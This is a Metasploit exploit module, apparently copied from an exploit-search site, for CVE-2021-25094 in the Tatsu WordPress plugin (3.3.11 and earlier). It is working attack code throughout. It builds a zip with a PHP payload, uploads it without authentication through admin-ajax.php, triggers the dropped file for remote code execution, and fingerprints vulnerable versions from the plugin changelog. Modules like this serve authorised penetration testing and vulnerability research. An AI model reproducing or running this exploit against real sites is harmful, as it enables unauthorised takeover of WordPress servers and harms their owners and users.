## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WP_TATSU_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tatsu Wordpress Plugin RCE',
'Description' => %q{
This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
},
'Author' => [
'Vincent Michel', # Vulnerability discovery
'msutovsky-r7' # Metasploit module
],
'References' => [
['CVE', '2021-25094'],
['EDB', '52260']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-04-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
end
def create_zip
zip_file = Rex::Zip::Archive.new
@payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
zip_file.add_file(@payload_file, payload.encoded)
zip_file.pack
end
def upload_malicious_zip
zip_payload = create_zip
boundary = Rex::Text.rand_text_alphanumeric(32).to_s
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
data_post << "add_custom_font\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
data_post << "#{zip_payload}\r\n"
data_post << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('wp-admin/admin-ajax.php'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post
})
fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
json_content = res.get_json_document
fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'
@zip_name = json_content.fetch('name', nil)
fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
})
end
def check
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
wp_version = wordpress_version
print_status("Detected WordPress version: #{wp_version}") if wp_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
})
return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200
changelog_body = res.body
return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?
return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
version = Rex::Version.new(Regexp.last_match(1))
return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')
return CheckCode::Safe('Patched version detected')
end
def exploit
upload_malicious_zip
trigger_payload
end
end